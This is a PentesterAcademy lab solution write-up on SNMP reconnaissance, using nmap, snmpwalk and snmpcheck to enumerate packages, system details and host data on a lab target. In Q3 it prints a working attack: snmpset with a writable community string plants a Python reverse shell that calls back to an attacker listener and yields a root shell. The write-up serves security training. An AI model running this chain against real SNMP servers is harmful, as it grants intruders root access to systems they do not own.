

ATTACK

DEFENSE

by PentesterAcademy

Name	SNMP Recon: Basics
URL	https://attackdefense.com/challengedetails?cid=2176
Type	SNMP Recon: Basics

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Q1. Identify the packages installed on the system. Use appropriate nmap scripts.

Command: `nmap -sU 192.76.85.3 -p 161 --script=snmp-win32-software`

```
root@attackdefense:~# nmap -sU 192.76.85.3 -p 161 --script=snmp-win32-software
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-09 14:34 UTC
Nmap scan report for target-1 (192.76.85.3)
Host is up (0.000071s latency).

PORT      STATE SERVICE
161/udp    open  snmp
| snmp-win32-software:
|   adduser-3.116ubuntu1; 0-01-01T00:00:00
|   apt-1.6.12; 0-01-01T00:00:00
|   base-files-10.1ubuntu2.7; 0-01-01T00:00:00
|   base-passwd-3.5.44; 0-01-01T00:00:00
|   bash-4.4.18-2ubuntu1.2; 0-01-01T00:00:00
|   bsduutils-1:2.31.1-0.4ubuntu3.4; 0-01-01T00:00:00
|   bzip2-1.0.6-8.1ubuntu0.2; 0-01-01T00:00:00
|   ca-certificates-20180409; 0-01-01T00:00:00
|   coreutils-8.28-1ubuntu1; 0-01-01T00:00:00
|   dash-0.5.8-2.10; 0-01-01T00:00:00
|   debconf-1.5.66ubuntu1; 0-01-01T00:00:00
|   debianutils-4.8.4; 0-01-01T00:00:00
|   diffutils-1:3.6-1; 0-01-01T00:00:00
|   dpkg-1.19.0.5ubuntu2.3; 0-01-01T00:00:00
|   e2fsprogs-1.44.1-1ubuntu1.2; 0-01-01T00:00:00
```

```

perl-base-5.26.1-6ubuntu0.3; 0-01-01T00:00:00
perl-modules-5.26-5.26.1-6ubuntu0.3; 0-01-01T00:00:00
procps-2:3.3.12-3ubuntu1.2; 0-01-01T00:00:00
publicsuffix-20180223.1310-1; 0-01-01T00:00:00
python-2.7.15~rc1-1; 0-01-01T00:00:00
python-meld3-1.0.2-2; 0-01-01T00:00:00
python-minimal-2.7.15~rc1-1; 0-01-01T00:00:00
python-pkg-resources-39.0.1-2; 0-01-01T00:00:00
python2.7-2.7.17-1~18.04; 0-01-01T00:00:00
python2.7-minimal-2.7.17-1~18.04; 0-01-01T00:00:00
readline-common-7.0-3; 0-01-01T00:00:00
sed-4.4-2; 0-01-01T00:00:00
sensible-utils-0.0.12; 0-01-01T00:00:00
smstrip-0.4.8+dfsg2-15; 0-01-01T00:00:00
snmp-5.7.3+dfsg-1.8ubuntu3.3; 0-01-01T00:00:00
snmp-mibs-downloader-1.1+nmu1; 0-01-01T00:00:00
snmpd-5.7.3+dfsg-1.8ubuntu3.3; 0-01-01T00:00:00
supervisor-3.3.1-1.1; 0-01-01T00:00:00
sysvinit-utils-2.88dsf-59.10ubuntu1; 0-01-01T00:00:00
tar-1.29b-2ubuntu0.1; 0-01-01T00:00:00
ubuntu-keyring-2018.09.18.1~18.04.0; 0-01-01T00:00:00
util-linux-2.31.1-0.4ubuntu3.4; 0-01-01T00:00:00
wget-1.19.4-1ubuntu2.2; 0-01-01T00:00:00
xz-utils-5.2.2-1.3; 0-01-01T00:00:00
_  zlib1g-1:1.2.11.dfsg-0ubuntu2; 0-01-01T00:00:00
MAC Address: 02:42:C0:4C:55:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
root@attackdefense:~#

```

Q2. List the packages installed on the system. Use snmpwalk.

Commands: snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.25.6.3.1.2

```

root@attackdefense:~# snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.25.6.3.1.2
HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: "adduser-3.116ubuntu1"
HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: "apt-1.6.12"
HOST-RESOURCES-MIB::hrSWInstalledName.3 = STRING: "base-files-10.1ubuntu2.7"
HOST-RESOURCES-MIB::hrSWInstalledName.4 = STRING: "base-passwd-3.5.44"
HOST-RESOURCES-MIB::hrSWInstalledName.5 = STRING: "bash-4.4.18-2ubuntu1.2"
HOST-RESOURCES-MIB::hrSWInstalledName.6 = STRING: "bsdutils-1:2.31.1-0.4ubuntu3.4"
HOST-RESOURCES-MIB::hrSWInstalledName.7 = STRING: "bzip2-1.0.6-8.1ubuntu0.2"
HOST-RESOURCES-MIB::hrSWInstalledName.8 = STRING: "ca-certificates-20180409"
HOST-RESOURCES-MIB::hrSWInstalledName.9 = STRING: "coreutils-8.28-1ubuntu1"

```

```

HOST-RESOURCES-MIB::hrSWInstalledName.107 = STRING: "perl-modules-5.26-5.26.1-6ubuntu0.3"
HOST-RESOURCES-MIB::hrSWInstalledName.108 = STRING: "procps-2:3.3.12-3ubuntu1.2"
HOST-RESOURCES-MIB::hrSWInstalledName.109 = STRING: "publicsuffix-20180223.1310-1"
HOST-RESOURCES-MIB::hrSWInstalledName.110 = STRING: "python-2.7.15~rc1-1"
HOST-RESOURCES-MIB::hrSWInstalledName.111 = STRING: "python-meld3-1.0.2-2"
HOST-RESOURCES-MIB::hrSWInstalledName.112 = STRING: "python-minimal-2.7.15~rc1-1"
HOST-RESOURCES-MIB::hrSWInstalledName.113 = STRING: "python-pkg-resources-39.0.1-2"
HOST-RESOURCES-MIB::hrSWInstalledName.114 = STRING: "python2.7-2.7.17-1~18.04"
HOST-RESOURCES-MIB::hrSWInstalledName.115 = STRING: "python2.7-minimal-2.7.17-1~18.04"
HOST-RESOURCES-MIB::hrSWInstalledName.116 = STRING: "readline-common-7.0-3"
HOST-RESOURCES-MIB::hrSWInstalledName.117 = STRING: "sed-4.4-2"
HOST-RESOURCES-MIB::hrSWInstalledName.118 = STRING: "sensible-utils-0.0.12"
HOST-RESOURCES-MIB::hrSWInstalledName.119 = STRING: "smstrip-0.4.8+dfsg2-15"
HOST-RESOURCES-MIB::hrSWInstalledName.120 = STRING: "snmp-5.7.3+dfsg-1.8ubuntu3.3"
HOST-RESOURCES-MIB::hrSWInstalledName.121 = STRING: "snmp-mibs-downloader-1.1+nmu1"
HOST-RESOURCES-MIB::hrSWInstalledName.122 = STRING: "snmpd-5.7.3+dfsg-1.8ubuntu3.3"
HOST-RESOURCES-MIB::hrSWInstalledName.123 = STRING: "supervisor-3.3.1-1.1"
HOST-RESOURCES-MIB::hrSWInstalledName.124 = STRING: "sysvinit-utils-2.88dsf-59.10ubuntu1"
HOST-RESOURCES-MIB::hrSWInstalledName.125 = STRING: "tar-1.29b-2ubuntu0.1"
HOST-RESOURCES-MIB::hrSWInstalledName.126 = STRING: "ubuntu-keyring-2018.09.18.1~18.04.0"
HOST-RESOURCES-MIB::hrSWInstalledName.127 = STRING: "util-linux-2.31.1-0.4ubuntu3.4"
HOST-RESOURCES-MIB::hrSWInstalledName.128 = STRING: "wget-1.19.4-1ubuntu2.2"
HOST-RESOURCES-MIB::hrSWInstalledName.129 = STRING: "xz-utils-5.2.2-1.3"
HOST-RESOURCES-MIB::hrSWInstalledName.130 = STRING: "zlib1g-1:1.2.11.dfsg-0ubuntu2"
root@attackdefense:~#

```

Q3. Leverage the write permission community string to obtain a shell on the target.

Step 1:

Commands:

```

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private 192.76.85.3 \
  'nsExtendStatus."evilcommand"' = createAndGo \
  'nsExtendCommand."evilcommand"' = /usr/bin/python \
  'nsExtendArgs."evilcommand"' = '-c "import
sys,socket,os,pty;s=socket.socket();s.connect(("192.76.85.2",1234));[os.dup2(s.fileno(),fd) for
fd in (0,1,2)];pty.spawn("/bin/sh")"'

```

```

root@attackdefense:~# snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private 192.76.85.3 \
> 'nsExtendStatus."evilcommand"' = createAndGo \
> 'nsExtendCommand."evilcommand"' = /usr/bin/python \
> 'nsExtendArgs."evilcommand"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect(("192.76.85.2",1234));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")"'
NET-SNMP-EXTEND-MIB::nsExtendStatus."evilcommand" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."evilcommand" = STRING: /usr/bin/python
NET-SNMP-EXTEND-MIB::nsExtendArgs."evilcommand" = STRING: -c "import sys,socket,os,pty;s=socket.socket();s.connect(("192.76.85.2",1234));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")"
root@attackdefense:~#

```

Step 2: Open another tab and start Netcat listener on port 1234.

Command: nc -nvlp 1234

```

root@attackdefense:~#
root@attackdefense:~# nc -nvlp 1234
listening on [any] 1234 ...

```

Step 3: Trigger the payload in the previous tab.

Command: snmpwalk -v2c -c public 192.76.85.3 nsExtendOutput1

```

root@attackdefense:~# snmpwalk -v2c -c public 192.76.85.3 nsExtendOutput1
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test1" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test2" = STRING: Hello, world!

Timeout: No Response from 192.76.85.3
root@attackdefense:~#

```

Check the Netcat listener.

```
root@attackdefense:~# nc -nvlp 1234
listening on [any] 1234 ...

connect to [192.76.85.2] from (UNKNOWN) [192.76.85.3] 37398

# # id
id
uid=0(root) gid=0(root) groups=0(root)
# bash
bash
root@victim-1:/#
```

Q4. View the kernel and operating system information from the target by using appropriate nmap Script.

Command: nmap -sU 192.76.85.3 -p 161 --script snmp-sysdescr

```
root@attackdefense:~# nmap -sU 192.76.85.3 -p 161 --script snmp-sysdescr
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-09 16:35 UTC
Nmap scan report for target-1 (192.76.85.3)
Host is up (0.000083s latency).

PORT      STATE SERVICE
161/udp   open  snmp
| snmp-sysdescr: Linux victim-1 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64
|_ System uptime: 20m38.35s (123835 timeticks)
MAC Address: 02:42:C0:4C:55:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
root@attackdefense:~#
```

Q 5. What command can be used to identify the kernel and operating system version.

Command: snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.1.1

```
root@attackdefense:~#  
root@attackdefense:~# snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.1.1  
SNMPV2-MIB::sysDescr.0 = STRING: Linux victim-1 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64  
root@attackdefense:~#  
root@attackdefense:~#
```

Q 6. Find the email address from the target using snmpwalk.

Answer: admin@pentesteracademylabs.xyz

Command: snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.1.4

```
root@attackdefense:~#  
root@attackdefense:~# snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.1.4  
SNMPv2-MIB::sysContact.0 = STRING: admin <admin@pentesteracademylabs.xyz>  
root@attackdefense:~#
```

Q 7. Find the hostname of the target machine.

Answer: victim-1

Command: snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.1.5

```
root@attackdefense:~#  
root@attackdefense:~# snmpwalk -v2c -c public 192.76.85.3 1.3.6.1.2.1.1.5  
SNMPv2-MIB::sysName.0 = STRING: victim-1  
root@attackdefense:~#
```

Q8. Demonstrate the use of snmpcheck to enumerate the target.

Command: snmpcheck -t 192.76.85.3

```
root@attackdefense:~# snmpcheck -t 192.76.85.3
snmpcheck.pl v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)
```

```
[*] Try to connect to 192.76.85.3
[*] Connected to 192.76.85.3
[*] Starting enumeration at 2020-04-09 17:01:13
```

```
[*] System information
```

```
-----
Hostname           : victim-1
Description        : Linux victim-1 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64
Uptime system      : 77 days, 03:08:56.45
Uptime SNMP daemon : 46 minutes, 30.78
Contact            : admin <admin@pentesteracademylabs.xyz>
Location           : Sitting on the Dock of the Bay
Motd               : -
```

```
[*] Devices information
```

```
-----
  Id           Type    Status  Description
196608         Processor Running AuthenticAMD: AMD EPYC 7501 32-Core Processor
196609         Processor Running AuthenticAMD: AMD EPYC 7501 32-Core Processor
196610         Processor Running AuthenticAMD: AMD EPYC 7501 32-Core Processor
196611         Processor Running AuthenticAMD: AMD EPYC 7501 32-Core Processor
196622         Processor Running AuthenticAMD: AMD EPYC 7501 32-Core Processor
196623         Processor Running AuthenticAMD: AMD EPYC 7501 32-Core Processor
262145         Network   Running network interface lo
279710         Network   Running network interface eth0
786432         Coprocessor Unknown  Guessing that there's a floating point co-processor
```

```
[*] Storage information
```

```

Physical memory
  Device id      : 1
  Device type    : Ram
  Filesystem type : LinuxExt2
  Device units   : 1024
  Memory size    : 32G
  Memory used    : 24G
  Memory free    : 7.6G

Swap space
  Device id      : 10
  Device type    : Virtual Memory
  Filesystem type : LinuxExt2
  Device units   : 1024
  Memory size    : 512M
  Memory used    : 504M
  Memory free    : 8.1M

Virtual memory
  Device id      : 3
  Device type    : Virtual Memory
  Filesystem type : LinuxExt2
  Device units   : 1024
  Memory size    : 32G
  Memory used    : 25G
  Memory free    : 7.6G

```

[*] Routing information

Destination	Next Hop	Mask	Metric
0.0.0.0	192.17.149.1	0.0.0.0	1

[*] Listening TCP ports and connections

Local Address	Port	Remote Address	Port	State
0.0.0.0	199	0.0.0.0	-	Listening

[*] Listening UDP ports

Local Address	Port
0.0.0.0	161
0.0.0.0	36044

```
[*] Mountpoints
```

```
-----  
  
/dev  
/sys/fs/cgroup  
/etc/resolv.conf  
/etc/hostname  
/etc/hosts  
/dev/shm  
/proc/acpi  
/proc/scsi  
/sys/firmware
```

```
[*] Enumerated 192.76.85.3 in 0.39 seconds  
Signal USR1 received in thread 1, but no signal handler set. at /usr/bin/snmpcheck line 231.  
root@attackdefense:~#
```

References:

1. SNMP (<http://www.net-snmp.org/>)
2. Snmpwalk (<https://linux.die.net/man/1/snmpwalk>)
3. Snmpcheck (<https://linux.die.net/man/1/snmpcheck>)
4. Nmap-nse
(<https://medium.com/@minimalist.ascent/enumerating-snmp-servers-with-nmap-89aaf33bce28>)
5. Community Strings
(<https://community.helpsystems.com/knowledge-base/intermapper/snmp/snmp-community-strings/>)
6. Metasploit Snmp
(<https://www.offensive-security.com/metasploit-unleashed/scanner-snmp-auxiliary-modules/>)